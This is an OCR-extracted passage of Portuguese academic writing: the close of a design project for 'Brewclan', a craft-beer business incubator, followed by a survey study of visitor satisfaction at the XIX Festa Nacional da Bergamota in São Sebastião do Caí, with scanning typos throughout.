cidade de Porto Alegre; cervejaria Elementum, que tem um conceito que une cerveja, arte,
musica e gastronomia, localizada em Novo Hamburgo; Bier Tal, uma loja especializada em
cervejas artesanais; e Cervasinos, uma associacao de cervejeiros artesanais do Vale do Sinos,
que nao tem fins lucrativos.

Todas as entrevistas foram gravadas em audio com autorizagdo dos entrevistados. A
partir disso, foi elaborado o resumo de cada uma das respostas em conjunto com as suas
respectivas perguntas. Assim, esta pesquisa tambéem pode ser considerada como descritiva,
pois tanto o material bibliografico quanto o de campo pode gerar um relatério baseado em uma

abordagem qualitativa para a obtencao dos dados.

3.2 DELINEAMENTO METODOLOGICO

Para o desenvolvimento deste trabalho, foi utilizada a metodologia projetual baseada
no método aberto de Santos (2006). Chamado de “Método de desdobramento em 3

(MD3E)”, é formado por trés grandes passos: a Pré-Concepgéao, a Concepgéo e a Pés-Con-




4 DESENVOLVIMENTO

cepcao. A escolha desse metodo possibilita a uniao e a utilizagcao da metodologia de diversos

autores diferentes.

Na sequéncia, serao descritas todas as etapas que compreendem o desenvolvimento

do projeto, com seus respectivos resultados.

4.1 ESTRUTURAR PERCEPCOES: RESULTADOS DAS ENTREVISTAS

O principal agrupamento de respostas esta relacionado ao governo. De acordo com
as empresas entrevistadas, falta algum tipo de incentivo por parte do governo, para que o
pequeno produtor consiga colocar a sua empresa para funcionar legalmente. As altas taxas
de tributacao para todas as etapas da producao de uma cerveja fazem com que o produto
chegue a um valor elevadissimo ao consumidor final. Outro ponto destacado foi a burocracia
para se criar uma empresa e registrar um produto, ja que, para vender qualquer tipo de cerveja
de forma regulamentada, & necessario que a empresa que ira produzir o produto tenha registro
no Ministério da Agricultura, Pecuaria e Abastecimento (Mapa) — o que configura um grande
problema, pois as leis mudam de estado para estado. O que acontece, entéo, é que a grande
maioria dos pequenos produtores nao é registrada, muitas vezes por falta de incentivo e de
poder financeiro ou mesmo por desconhecimento das leis do pais.

Em um segundo momento, percebeu-se que as marcas entrevistadas tém todq sua
alto

produgéo terceirizada, o que, de certa forma, € bom, pois o investimento inicial ndo é ta

e seus produtos podem ser registrados no Mapa sem grandes burocracias. Por outro lado, en-




tretanto, a margem de lucro torna-se pequena, o que acaba fazendo com que o preco final do
produto seja maior. Segundo o lojista, 0 pequeno produtor procura-o para mostrar seu produto
e vendé-lo posteriormente. Para o lojista, € uma 6tima forma de ter um contato direto com o
criador da cerveja, obter mais informacoes sobre ela e receber cervejas sempre frescas.

Por ultimo, todos os entrevistados falaram que a cerveja deve proporcionar uma expe-
riéncia ao seu consumidor. O presidente da Cervasinos relatou que o principal beneficio que
uma pessoa tem ao se associar € a troca de experiéncias entre os usuarios.

Com uma andlise aprofundada das entrevistas foi possivel perceber alguns padroes
de respostas entre as empresas e reuni-las em um papel. Na sequéncia, esses padroes foram
divididos em grupos que geraram insights e conceitos para o projeto. Ao todo, foram oito gru-
pos percebidos: “Experiéncia”, “Relacionamento com o Consumidor”, “Valorizagao da cerveja
local”, “Fabricacao terceirizada”, “Pequeno produtor”, “Distribuicao”, “Incentivo do Governo”
e “Registro no Mapa”. A ferramenta de geragao de insights foi de grande contribuicao para
alcangar os resultados esperados. Com ela, foi possivel perceber caminhos e conceitos para

0 novo modelo de negocio.

4.2 NOVO MODELO DE NEGOCIO

Com base nas entrevistas, na geracao e na classificacao de insights, foi possivel gla-
borar o quadro do modelo de negocio, que sintetiza como o projeto aqui intencionado/sera

estruturado, sendo exposto na Figura 1.
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Figura 1 - Modelo de negécio
Fonte: elaborado pelo autor.
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Em linhas gerais, 0 modelo de negdcio propde-se a

criar um ambiente colaborativo, onde o pequeno produtor de

cerveja artesanal poderia comecar a sua empresa com toda

uma equipe de consultores de diversas areas do conhecimen-

to a sua disposicao, para auxilia-lo no que fosse preciso, atu-

ando como uma espécie de incubadora cervejeira. Ao mesmo

tempo, o produtor poderia utilizar o equipamento do local para

produzir suas cervejas, ja que o ambiente seria regularizado

pelo Mapa. Nesse ambiente, também existiria um bar, onde

seriam vendidas somente cervejas produzidas no local, com

o intuito de saber a opiniao do consumidor sobre as cervejas

e, também, de proporcionar uma interagao do produtor com o

consumidor.

A proxima e derradeira etapa do projeto tem por objeti-

VO representar visualmente o modelo de negoécio.

4.4 REPRESENTACAO VISUAL DO NEGOCIO

Na sequéncia, sao descritas todas as etapas que com-

preendem representacao visual do modelo de negocio,

seus respectivos resultados.

om




4.4.1 NAMING

As pessoas que produzem cerveja formam uma espécie de tribo, reunindo-se em even-
tos, festivais e em suas casas para discutir e trocar experiéncias sobre cerveja. Um cla é cons-
tituido por um grupo de pessoas unidas por parentesco e linhagens préximas. O mundo da
cerveja funciona de modo similar: muitas familias fazem cerveja ha séculos, passando sempre
0 conhecimento para as proximas geragoes. O conceito deste modelo de negécio €, justamen-
te, fazer com que o pequeno produtor que tem a sua empresa instalada no local se sinta parte
de algo maior, como uma familia ou um grande grupo de amigos. A ideia € formar o primeiro
cla cervejeiro no mundo.

Portanto, 0 modelo de negdcio vai se chamar Brewclan. A palavra Brewer, traduzida
para o portugués, significa cervejeiro; ja a palavra Clan, em portugués, significa cla. A primeira
proposta de nome com esse conceito era Brewerclan, mas, para obter uma melhor pronuncia,
optou-se por tirar as letras “e” e “r’ da palavra Brewer. Apos a definicao dos nomes, apenas se
juntou os termos Brew e Clan, dando origem ao nome Brewclan.

Em seguida, criou-se um denominador para completar o nome. A opgao escolhida foi
Fermentadora de Negocios. Fermentadora faz referéncia ao processo de fermentacao exis-

tente na produgéo da cerveja, bem como a algo que esta crescendo e se formando. A palavra

negocios indica o que vai ser feito dentro da empresa, afinal, o local sera o impulsionador

novos negocios.
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Figura 2 - Identidade visual e suas versoes
Fonte: elaborado pelo autor.

4.4.2 MARCA

O conceito da marca buscou inspiracao no movimento
construtivista russo, utilizando formas retas e que tragam um
aspecto de forga, trabalho e colaboracao. Nessa etapa, co-
meca a geragao de alternativas da marca, primeiramente com
uma série de sketches rapidos da tipografia, buscando varia-
coes de formas e acabamentos para as letras.

Apos a predefinicao da tipografia e do simbolo, chegou
o0 momento de unir os elementos da marca. Definido o cami-
nho, o sketch foi escaneado e vetorizado no computador — a
versao preferencial e a versdo secundaria da marca podem ser
vistas na Figura 2.

Na sequéncia, iniciou-se o processo de criagao da em-
balagem para a cervejaria. Como a marca tem como conceito
formar um cla de cervejeiros, partindo dessa ideia, procura-
ram-se clas espalhados pelo mundo para criar o nome das
cervejas (estes clas ndo tém nenhuma ligacdo com o universo
cervejeiro). Foram definidos trés nomes de clas, os McCartfiy
da Irlanda, que possuem um Alce como simbolo; os Camppell
da Escoécia, que tém como simbolo um Javali; e os Nakatomi
do Japao, os quais, tendo em vista os resultados destg pes-

quisa, nao possuem nenhuma simbologia relacionada ao cla.




Com a definicao dos nomes, partiu-se para a geracao de alternativas por meio de ske-
fches rapidos. Apos, procedeu-se a um detalhamento das alternativas escolhidas, as quais
foram passadas para o computador. Foram definidos dois formatos de garrafas ja utilizadas no

mercado, de 600 ml (Figura 3) e de 330 ml (Figura 4).

<
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Figura 3 - Embalagens da garrafa de 600 ml Figura 4 - Embalagens da garrafa de 330 ml
Fonte: elaborado pelo autor. Fonte: elaborado pelo autor.




Figura 5 - Fachada do negécio
Fonte: elaborado pelo autor.

4.4.3 AMBIENTE DA FERMENTADORA DE NEGOCIOS

A ideia é de que o0 ambiente do negocio fique em um
terreno de esquina, podendo ser facilmente encontrado. Com
uma linguagem rustica, optou-se por criar uma fachada discre-
ta e enigmatica, fazendo com que as pessoas se instiguem a
saber o que existe la dentro. A fachada tera os tijolos e o lo-
gotipo pretos, com apenas o simbolo da marca na cor branca,;
durante a noite, apenas o simbolo seria iluminado. A fachada
pode ser vista na Figura 5.

O primeiro contato estabelecido com o usuario ocorrera
por meio da recepcao do local. A ideia de ter uma recepcao e
para 0 caso de a pessoa responsavel pelo atendimento estar
ocupada, de modo que o usuario poderia aguardar em um am-
biente confortavel.

Na frente da recepcao, existirao duas mesas, destina-
das ao atendimento ao cliente e a todos 0s consultores respon-

sais por colaborar com as empresas que trabalham no local.

Ao lado das mesas havera o bar e algumas mesas para @s



var o consumo da cerveja local. Esse bloco do ambiente pode ser visto na Figura 6, exposta
a seqguir.
O bloco onde as empresas terao seus postos de trabalho € apresentado na Figura 7. O

local possuira um bom espago para a circulagao de pessoas, com a possibilidade de mudar a

posicao em que as mesas estao colocadas a fim de conceder total liberdade as empresas para
organizarem o ambiente da forma como acharem melhor. Este bloco possuira dois banheiros
exclusivos, um bicicletario interno e uma entrada para o local onde sera feita a producao ama-

dora e profissional da cerveja.
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Figura 7 - Local onde as empresas teréo seus postos de trabalho
Fonte: elaborado pelo autor Fonte: elaborado pelo autor



A Figura 8, a seguir, mostra o local onde sera feita a produ¢cao amadora, 0 qual possuira
duas janelas que dao vista para o bar. Esse espago possuira equipamentos amadores para a
fabricacdo da cerveja, que poderao ser alugados pelos usuarios.

O local destinado a producao profissional (Figura 9) ficara no fundo do ambiente e pos-

suira uma entrada para o deposito de onde sairao as cervejas para distribuicao. Esse ambiente
possuira equipamentos profissionais para a fabricacao da cerveja das empresas e da cerveja

da casa e precisara ser gerenciado por um especialista e sua equipe de producao.

Figura 8 - Local para a producdo amadora de cerveja

Figura 9 - Local para a produgéo profissional de cerveja
Fonte: elaborado pelo autor. Fonte: elaborado pelo autor.



No centro do ambiente, existira uma escada que dara acesso ao mezanino. Este meza-
nino possuira duas salas de reunioes, com o intuito de conceder mais privacidade as empresas
na hora de conversar com algum cliente ou fornecedor. O local também possuira um espaco
em que ocorrerao cursos, eventos e palestras destinados ao publico em geral. O mezanino e
suas salas podem ser vistos na Figura 10, exposta a seguir.

A criacao deste ambiente foi de total importancia para o entendimento visual do mo-
delo de negocio. Nele, foi possivel perceber como vao funcionar cada um dos locais internos
projetados. Todos elementos foram projetados para criarem conexdes entre 0s usuarios, o que

acaba elevando a percepc¢ao de valor do local, fazendo com que o modelo de negdcio trans-

mita uma experiéncia memoravel.

i ™ 1N » N e
Figura 10 - Salas de reunido e sala para eventos, cursos e palestras
Fonte: elaborado pelo autor.



CONSIDERACOES
INAIS

Este projeto teve como objetivo geral criar um modelo de negocio colaborativo, que incen-
tivasse o pequeno cervejeiro artesanal a lancar seu produto no mercado. Portanto, é possivel afir-
mar que o intuito foi alcancado com éxito. Acredita-se que o método do quadro do modelo de ne-
gocio criado por Osterwalder e Pigneur (2011) tenha sido fundamental para a criagéo do projeto.

Foram feitas algumas entrevistas com empresas ligadas ao universo da cerveja, a partir
das quais foi possivel perceber foi que os cervejeiros artesanais nao se consideram concor-
rentes, ou seja, as marcas ndo saem travando disputas de preco umas com as outras. O que
ocorre € uma concorréncia sadia, com bastante troca de experiéncia entre as marcas. Essa
troca reforga o fato de que o conceito do modelo de negocio esta certo ao optar por unir as
marcas, promovendo o crescimento da cultura cervejeira local, ao invés de separa-las.

O principal ponto destacado pelos entrevistados foi a dificuldade e a demora para re-
gistrar uma empresa conforme o Ministério da Agricultura, Pecuaria e Abastecimento (Mapa)
exige. No caso do projeto em questao, o modelo de negocio conseguira sanar este problema,
pois tera toda uma equipe de profissionais capacitados para fazer o registro da empresa e um
ambiente regularizado pelo Mapa para a produgao.

Por fim, acredita-se que este trabalho pode trazer algumas contribuicdes para o ambito
académico, pois existe pouca fundamentacéo académica no segmento da cerveja e menos
ainda na sua relagao com o design. Neste sentido, o trabalho conseguiu fazer uma contyi-
buicao consideravel, vinculando duas areas até entao, pouco exploradas. Outra contribui¢ao
académica foi em relacao ao quadro do modelo de negocios, ja que o projeto estuda e cgloca
em pratica a ferramenta, podendo, assim, servir de referéncia no desenvolvimento de novos

projetos académicos.
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Este estudo visa analisar o nivel de satisfacao dos visitantes quanto aos servicos oferecidos
na XIX Festa Nacional da Bergamota de Sao Sebastiao do Cai/RS. A metodologia utilizada
para 0 estudo consiste em pesquisa exploratdria descritiva, com abordagem qualitativa,
tendo como procedimentos técnicos a pesquisa bibliografica, documental, participante
e estudo de campo. A pesquisa de campo foi realizada com visitantes da festa, com o
historiador local, com a comissao organizadora do evento e com gestores municipais. 0S
resultados apontam que a festa atingiu um bom nivel de satisfacao dos visitantes. Este
estudo também revela que a maior parte da amostra dirigiu-se ao evento atraido pelos
shows musicais e por compras, uma vez que, 0 espaco “Rua das Flores” e a 2° “Expo
Cai” eram dedicados a venda de flores e produtos em geral, respectivamente. Porém hd
algumas melhorias a serem realizadas.

Palavras-chave: Turismo de Eventos. Festa da Bergamota. Sao Sebastiao do Cai/RS.

BSTRAC

This study aims to analyze the level of satisfaction of visitors towards services offered at
the XIX Festa Nacional da Bergamota (Tangerine National Festivity), in Sao Sebastido do
Cai, RS. It has as specific objectives to concept Event Tourism, to identify and describe
similiar festivities in the region around the Valley of Cai River, to describe the town and
Festa Nacional da Bergamota in its last edition, and also to verify visitors” perceptions and
satisfaction levels about the event. Methodology used in this study consists of exploratory
descriptive research, using books and online articles, as well as newspapers and official
city documents. There are also a local survey taken during the festivity and interviews
with organizers of the event. Results point that Festa Nacional da Bergamota has reached
a great level of satisfaction from visitors, but there are some important aspects to be
reviewed and improved.

Keywords: Event Tourism. Festa da Bergamota. Tangerine National Festivity. S3o Sebastiao
do Cai/RS.



INTRODUCAO

O presente artigo apresenta um estudo sobre a satisfacéo dos visitantes da XIX Festa
Nacional da Bergamota de Sdo Sebastiao do Cai/RS, uma vez que, os eventos sao importantes
divulgadores dos municipios atraindo pessoas e investidores a estes locais. Os registros dos
primeiros eventos datam de muito antes do surgimento do termo turismo e foram evoluindo em
termos de organizacao e tecnologia com os passar dos anos, merecendo estudos continuos.

A regiao do Vale do Cai € palco de muitos eventos municipais como Festa do Moran-
guinho, Horténciofest, entre outros. Sao Sebastidao do Cai conta com um calendario repleto de
eventos, assim como a Festa de Sao Sebastiao, Acampamento Farroupilha, Encontro de Carros
Antigos, Rodeio e tantos outros. A Festa Nacional da Bergamota desperta o interesse da autora
devido ao fato de ser moradora da cidade e ter interesse no setor de eventos.

A festa que segundo Campani (2014) teve sua origem em 1964, contém diversos ele-
mentos que, segundo esta autora, podem o colocar como um produto turistico nao apenas da
cidade, mas inclusive, da regiao e do Estado. Devido a falta de estudos sobre este evento,
optou-se por analisar o nivel de satisfagdo dos visitantes quanto aos servicos oferecidos pela
XIX Festa Nacional de Sao Sebastido do Cai/RS e se suas expectativas foram atendidas. A
pesquisa realizada € de carater exploratorio e descritivo, com abordagem qualitativa. Os pro-
cedimentos técnicos utilizados foram pesquisa documental, bibliografica, pesquisa de campo
e pesquisa participante.

Espera-se que este estudo contribua de forma a valorizar o evento, para que 0 me
possa atrair cada vez mais visitantes e investidores a cidade de Sao Sebastiao do Cai, gerando

satisfacao e aumento da autoestima da populacao local.




Inicia-se com uma breve historia sobre o turismo de eventos seguindo para eventos na
regiao do Vale do Cai, focando no municipio de Sao Sebastido do Cai e, por fim, analisa-se

a satisfacdo dos visitantes na XIX Festa Nacional da Bergamota de Sdo Sebastido do Cai/RS.

2 'I'U RISMO DE Os primeiros eventos datados, conforme Matias (2010), séo da Era Antiga, os Jogos
Olimpicos de 776 a.C., durante a realizagdo dos jogos pausavam-se as guerras, promovendo
EVENTOS a hospitalidade. As feiras comerciais da I[dade Média também serviam como justificativa para
pausar as guerras ja que estas sanavam as necessidades de comer e de vestir dos individuos.
Ainda de acordo com Matias (2010) o primeiro evento de cunho nao religioso foi o Congresso

de Medicina Geral, em 1681 em Roma, mas os eventos s6 passaram a ser organizados e con-

solidados apos a Revolucao Industrial, a partir desses eventos comegou-se a realizar negocios
comerciais.
Entre as definicoes de eventos encontra-se a de autores como Watt (2004, p. 16), que

define 0 evento como “algo que ‘acontece’ e ndo somente existe”. “o evento amplia o0 espaco

para vida social e publica e conduz as pessoas para a experimentacao conjunta de emocoes.”
(MELO NETO, 2012 p.14). Paiva e Neves (2008, p. 7) afirmam que “evento & um produto singu-
lar de acordo com as variaveis que o caracterizam.” Com base nas definicoes desses autorgs
conclui-se que eventos sao acontecimentos Unicos, geradores de riquezas e que podem/no
caso do Turismo de Eventos, promover e divulgar o local onde ocorrem.

Britto e Fontes (2002) dizem que os eventos desempenham um importante pagel na

revitalizacdo dos destinos turisticos. Os eventos ajudam a diminuir a sazonalidade turistica,




como ocorre no evento Natal Luz de Gramado. Conforme Tomazzoni (2012) a época natalina
era considerada de baixa temporada, com a criacao do Natal Luz, Gramado passou a receber
milhares de visitantes nesta época do ano.

Os eventos podem ter diversos tipos e formatos, recebendo diferentes classificagdes
conforme o autor que os classifica. Britto e Fontes (2002) dizem que as exposigdes sdo uma
maneira de promover produtos e tendéncias. Neste contexto as feiras sao apenas um dos
possiveis formatos de exposigdes. J& Andrade (2007, p. 118) classifica a exposigdo como
“apresentacao de servicos e técnicas” e as feiras como “exposi¢ao publica de produtos e mer-
cadorias com o objetivo de vendas”.

Tendo por base o Guia de Orientagdes Basicas do Ministério do Turismo os eventos
podem ter os formatos de missdes empresariais, visitas técnicas, viagens corporativas, reuniao
de negocios, rodadas de negocios, feiras, convengoes, congressos, seminario, workshop, con-
feréncias, cursos, palestras, painel, mesa-redonda, simposio, plenarias e debates.

Os eventos de categoria promocional ou mercadolégico visam promover uma entidade,
pessoa, uma empresa ou um local conforme Britto e Fontes (2002). Ja conforme a area de
interesse, apresenta-se neste artigo a cultural que visa ressaltar aspectos culturais, historia e
tendéncias. A area de interesse turistico, que objetiva divulgar produtos a fim de incrementar
o turismo local conforme afirmam Britto e Fontes (2002). Matias (2010) diz que se tem a area
de interesse lazer quando o evento proporciona lazer e entretenimento aos seus visitantes./Os
eventos ainda podem ser classificados por area de localizacao, sendo considerado municipal

quando sua area de ocorréncia restringe-se aos limites do municipio (ANDRADE, 2007).




Referindo-se as caracteristicas estruturais, a Festa Nacional da Bergamota seguindo a
classificacdo de Brito e Fontes (2002) e Matias (2010) & evento de grande porte por reunir um
publico superior a 500 pessoas. Segundo dados divulgados pela equipe organizadora a XIX

edigao da festa reuniu mais de 60 mil pessoas. Conforme Britto e Fontes (2002) pode-se dizer

que a festa € um evento movel, pois, nao ocorre sempre na mesma data.

As festas municipais requerem sempre estarem inovando para que se atraiam um pu-
blico cada vez maior. Conforme Melo Neto (2012), a interagéo entre publico e evento, uso de
luzes e tecnologias contribuem para o desenvolvimento da criatividade, criando eventos cada
vez mais performaticos.

Porém, para uma verdadeira analise sobre os efeitos de um evento em seu publico se

faz necessario uma avaliagao constante apos a realizacao de cada evento. Na busca pelo con-

tentamento do cliente, uma pesquisa de satisfacao se torna um instrumento indispensavel para
a que o promotor do evento evidencie os pontos fortes e fracos do mesmo, tornando possivel
sua correcao para o proximo. Porém, para atingir a satisfacéo & necessario que se saiba sua

funcao, que para Andrade (2007, p.257) “[...] introduz os elementos da subjetividade na per-

cepgao de qualidade”. Levando-se em consideragao que os visitantes de uma festa possuem
expectativas distintas, se faz necessaria a realizagao de pesquisas que identifiguem estes
diferentes niveis de percepgao.

Caso o evento ndo tenha obtido um resultado satisfatorio em seus visitantes, o me
deve ser repensado e reformulado corrigindo-se os pontos criticos e voltando-o de m
responder positivamente as expectativas do cliente. Watt (2004) diz que estao entre o

que influenciam na satisfag@o dos visitantes em um evento: a estrutura fisica, seguranca/ aten-




3 FESTA NACIONAL DA
BERGAMOTA

dimento e servigos. Estes itens devem atender a um alto padrao de qualidade para satisfazer
os visitante nos dias atuais. A Festa Nacional da Bergamota de Sao Sebastiao do Cai, vem
buscando melhorar a cada edigado para atingir a satisfacéo dos seus visitantes. A seguir apre-

senta-se como surgiu e se desenvolveu a festa até os dias atuais.

Séo Sebastido do Cai possui diversos eventos, que servem para atrair visitantes, opor-
tunizando lazer e oportunidades de negocios as familias e empreendedores locais. A cidade
esta localizada no Vale do Cai, regiao de vales, rios e que possui diversos parques municipais.
A maioria dos municipios da regiao possuem festas municipais, tais como a Festa do Morangui-
nho na cidade de Bom Principio e a Horténciofest, em Sao José do Horténcio. Estas festas em
geral possuem um produto-chave e sempre contam com exposicoes da industria e comeércio
que visam demonstrar o poder econdémico de seus municipios.

Conforme Andrade (2007), um evento pode colaborar para o desenvolvimento eco-
ndmico de uma cidade. Na busca desta promogao e prosperidade, as festas populares po-
dem ser encontradas com facilidade nos municipios préximos a Sao Sebastiao do Cai, uma

demonstracao da importancia deste tipo de evento. Incluidos na programacao, normalmente

encontram-se shows musicais, exposicoes comerciais e industriais, aléem de area reservada
a gastronomia. Entre os eventos mais recentes na regiao, foram encontrados a Horténciofgst,
Stadfest, Maifest, Festa do Moranguinho e a Frichtefest. Em Sdo José do Horténcio acontgce a
Festa Municipal do Aipim, ou Horténciofest. De acordo com o jornal Fato Novo (abril de 2014)

no ano de 2014, passaram pela a XV edicao cerca de 20 mil pessoas vindas de varios lygares




do estado. A festa contou com desfile de carros alegéricos e cavalarianos, exposicao comer-
cial e industrial, além de exposicéo do produto simbolo da festa (o aipim) e shows musicais. A
entrada foi franca em cinco dos seis dias de festa, 0 que fez com que os visitantes gastassem
mais dentro do evento, e para a proxima edicao, o sistema devera ser mantido. De acordo com
o jornal Fato Novo (abril de 2014) a regiéo teve, nos meses de abril e maio, mais duas Festas
tipicas, com destaque a Stadfest e a Maifest. A primeira, com um dia de duracao, acontece em
comemoracao a emancipacao do municipio de Sao Vendelino/RS e conta com programacao
cultural e artistica. A segunda, de Tupandi/RS, € anual e valoriza a agricultura e a industria do
municipio. Ocorreu entre os dias 08 e 11 de maio de 2014. As soberanas da Maifest divulga-
ram a festa em diversos veiculos na capital gatcha e inclusive entregaram um convite ao atual
governador do Estado. De acordo com o site Portal Vale do Cai, a Maifest contou com uma
programacao variada. A festa teve feira comercial e industrial, shows de diversos segmentos,
atendendo publicos de faixa etaria variadas. Incluida na programagao da Maifest, estava a 16°
Festa do Porco no Rolete.

27 A Festa do Moranguinho, que ocorre em Bom Principio/RS, é uma das mais tradicio-
nais do Estado. Seu slogan € “A festa mais gostosa do pais”. Seguindo a tradicao das festas
similares na regiao, a festa do Moranguinho também tem em sua programacéo feiras comercial
e industrial e shows para varios estilos e idades. Na cidade de Harmonia ocorre a Friichtefe
festa realizada para comemorar as festividades de aniversario do municipio. Em 2014 ocorreu
a 72 edigéo, entre os dias 18 e 27 de julho. Segundo o jornal Fato Novo (julho de 2014), a festa
contou com exposicdes da industria e comércio, com participacéo de 90% de empresgs lo-

cais. Houve exposicao de citros e atividades culturais. Os shows foram bastante diversificados,




partindo de bandas de baile de cultura alema a bandas de rock. O grande envolvimento da
comunidade foi o destaque.

Em S&o Sebastiao do Cai o principal produto agricola € a bergamota, sendo que esta da
nome a festa. Esta fruta citrica € a fonte de renda de 220 familias caienses, incluindo a produ-
¢éo de outros citros, como limao e laranja, de acordo com dados da EMATER municipal (2014).
A produgéo destina-se quase em sua totalidade as CEASAS (Central de Abastecimento Ataca-
dista Brasileira) e apenas 5 a 10% da produgéo destina-se a venda para o estado de Sao Paulo.

A Festa da Bergamota de Sao Sebastiao do Cai/RS teve inicio conforme relato do his-
toriador local Campani (2014) em formato de “Feira da Laranja”. Um professor conhecido por
“Juca” incentivou seus alunos a exporem as variedades de citricos produzidos em suas pro-
priedades em sala de aula, agradando os citricultores que levaram a iniciativa ao Centro de
Treinamento de Citricultores de Capela de Santana'. A ideia foi bem aceita pelo técnico respon-
savel que juntamente com o padre do distrito formataram a festa da laranja em comemoracao
ao aniversario da paroquia, porém em Taquari ja havia uma festa da laranja e seu nome teve
que ser repensado e em 1970 ocorreu a primeira Festa da Bergamota. Esta atingiu as expec-
tativas dos organizadores e chamou a atencao das autoridades da Sede Sao Sebastido do Cai

e no ano seguinte a Festa foi transferida para a mesma. A festa nos anos que se seguiram teve

momentos de altos e baixos, e dificiimente seguia a determinacao de 1972 de ser bienal.

! Capela de Sant'ana era distrito de Sao Sebastiao do Cai. O professor Juca dava aulas em uma escola em Pareci Velho que np época
era sub-distrito de Capela de Sant'/Ana. Atualmente Sao Sebastidao do Cai, Capela de Santana sao municipios independentes
Velho é distrito do municipio de Pareci Novo. (CAMPANI, 2014).

Pareci




A XIX Festa Nacional de Sao Sebastiao do Cai, objeto de analise neste artigo veio a
ocorrer no ano de 2014, quatro anos apos a XVIII edicao que ocorreu no ano de 2010. A autora
deste artigo assistiu a ultima reunido geral da festa e pode perceber que os organizadores

trabalhavam para que os visitantes fossem bem recebidos. A seguranca contou com a partici-

pacao da Brigada Militar, Guarda Municipal, Corpo de Bombeiros, seguranca particular e com
0 auxilio de cameras de seguranca com reconhecimento facial.

*Quanto & ocupagado dos espacos da festa, todos os espacos disponibilizados para
locacéao foram locados sendo que 50% dos expositores eram de empreendimentos locais. En-
tre os espacos destaca-se a ExpoCai com exposicao da industria e comércio, Mostra Cahy
na Histéria onde o publico pode observar a réplica das primeiras construcoes da cidade e da

embarcacao que trazia os imigrantes italianos até o porto que existiu na cidade em seus pri-

mordios. A festa contou com a exposicao e comercializacao de produtos a base de bergamota,
produzidos por artesaos locais, denominado Bergamotte Platz. A Exposicao de Maquinas e
Veiculos, Espaco da Tradicao, Shopping Popular e exposicao de flores na chamada Rua das

Flores também fizeram parte da festa.

De um modo geral a festa obteve bons resultados de acordo com dados divulgados
pela comissao organizadora, apesar de muitos dias chuvosos, a festa conseguiu atrair um pu-
blico generoso devido principalmente ao fato de a entrada ser franca em diversos momentgs
da festa, e nos demais preco unico de dez reais. A autora esteve presente em diversos diag' da

? A autora participou da Ultima reuniao geral que antecedeu o inicio da Festa e traz os pontos destacados pelos organizadores
também esteve presente no evento durante a aplicacéo da pesquisa que foi realizada no estande da SETUR, no espaco Expo Jai, e em
diversos outros pontos do evento. Atuou também como estagiaria na coordenagéo de Turismo e Cultura do municipio.

autora




festa aplicando a pesquisa de satisfacao dos visitantes no estande da SETUR, espaco cedido
pela comissao organizadora do evento. Posteriormente a autora pode prestigiar a sessédo Sole-
ne onde se homenageou o presidente da comissao organizadora da festa, além de entrevistar
o proprio presidente da comissao organizadora, uma representante da gestdo municipal e uma
das soberanas da festa. No conjunto de entrevistas pode-se perceber o trabalho incansavel
de cada parte para que tudo ocorresse da melhor maneira possivel. Para o presidente da
comissao organizadora foi um desafio organizar o maior evento do municipio, que para ele
serve para mostrar a forca da industria e comércio local. As soberanas chegavam a trabalhar
de manha até altas horas da noite divulgando a festa pelo estado e até pelo Brasil. A soberana
destacou a importancia do empenho dos voluntéarios e da doagao e comprometimento que es-
tes tiveram com a realizacao da festa. A representante da gestao municipal, a coordenadora de
Turismo e Cultura do Municipio, mostrava-se positiva quanto a satisfacao dos visitantes devido
a mescla de atividades e atracdes disponibilizadas aos mesmos.

Para a apuracgédo cientifica do nivel de satisfacéo do visitantes da XIX Festa Nacional
da Bergamota de Sao Sebastiao do Cai/RS a autora realizou uma pesquisa de satisfacao com
232 visitantes durante o periodo de ocorréncia da festa. A autora foi a campo coletar os dados

e realizou a tabulacéo dos resultados. Entre as principais perguntas presente no questionario

estavam os espacos ou atividades que se destacaram na festa na opiniao dos visitantes, se/a

fruta chave se fez presente na festa, se as expectativas dos visitantes foram atendidas e o njvel




Shopping  Grupo Espaco da
Exp. De Popular _Escoteiros /—Tradigéo

Méquinas 18,1%  "%,05% 13,36%
e Veiculos
21,98%

Parque de
Diversdes
22,41% Expo Citrus na Historia
16,81% 21,55% 25%

Bergamotte
Platz

Grafico 01 - Espagos ou atividades eleitos como pontos fortes da festa.
Fonte: Pesquisa académica elaborada pelo autor. Base: 232.

10.11. Estrutura em Geral Oferecida
pela Festa:

M Pouco Satisfeito
M Satisfeito

% Muito Satisfeito

Satisfacdo do visitante em relagéo a estrutura geral oferecida pela festa.
onte: Pesquisa académica elaborada pelo autor. Base: 232.

do Cai. O questionario recebeu aprovacao para sua aplicacao
dentro do Parque Centenario, onde ocorreu a festa. Abaixo
apresenta-se 0s principais resultados da pesquisa.

Quais os espacos/atividades que vocé elegeria como
pontos fortes da festa? Assinale com um x apenas 03 opgodes.

O grafico 01 representa os espacos ou atividades elei-
tos pelo pesquisado como pontos fortes da festa. Cada pes-
quisado pode escolher ate 03 opcdes. O grafico demonstra
que os Shows Musicais tiveram 61,64% dos votos, a Rua das
Flores 34,91%, a 2° Expo Cai 30,6% dos votos enquanto o
Bergamotte Platz teve 25%, Mostra Cahy na Histéria 21,55%,
Exposicdo de Maquinas e Veiculos 21,98%, Parque de Diver-
soes 22,41%, Shopping Popular 18,1%, Expo Citrus 16,81%,
Espaco da Tradicao 13,36% e Grupo Escoteiro tiveram 9,05%
da preferéncia dos pesquisados.

O grafico 02 representa a satisfacao dos pesquisados
em relacao a estrutura geral oferecida pela festa demonstran-
do que 58% estavam satisfeitos, 41% estavam muito satisfeitgs

e 1% estava pouco satisfeito.




O grafico 03 representa a satisfacéo do pesquisado em relagédo a presencga da tematica
“bergamota” na festa, demonstrando que 97% consideraram que a tematica esteve presente,

enquanto 3% considerou que a tematica bergamota ndo esteve presente.

O grafico 04 representa o atendimento das expectativas do participante pela festa, de-
monstrando que 97% dos participantes tiveram suas expectativas atendidas enquanto 3% nao

tiveram suas expectativas atendidas.

11. Vocé considera que a tematica
"Bergamota" esteve presente na
festa?

12. A XIX Festa da Bergamota
atendeu suas expectativas?

3% 3%

ESIM mSIM
1 NAO =NAO
- A presenga da tematica “bergamota” na festa na visdo dos pesquisados. Grafico 04 - Quanto o atendimento das expectativas dos pesquisados, na fest

onte: Pesquisa académica elaborada pelo autor. Base: 232. Fonte: Pesquisa académica elaborada pelo autor. Base: 232.



CONCLUSAO Com a presente pesquisa pode-se observar que a Festa Nacional da Bergamota de Sdo
Sebastiao do Cai/RS é um evento que tem muita importancia para a populagao local. O evento
que surgiu com o engajamento popular no interior do municipio, até os dias atuais conta com a

participacao intensa de voluntarios para a sua realizagao.

Os eventos municipais tendem a promover um local tornando-o conhecido na regiao e
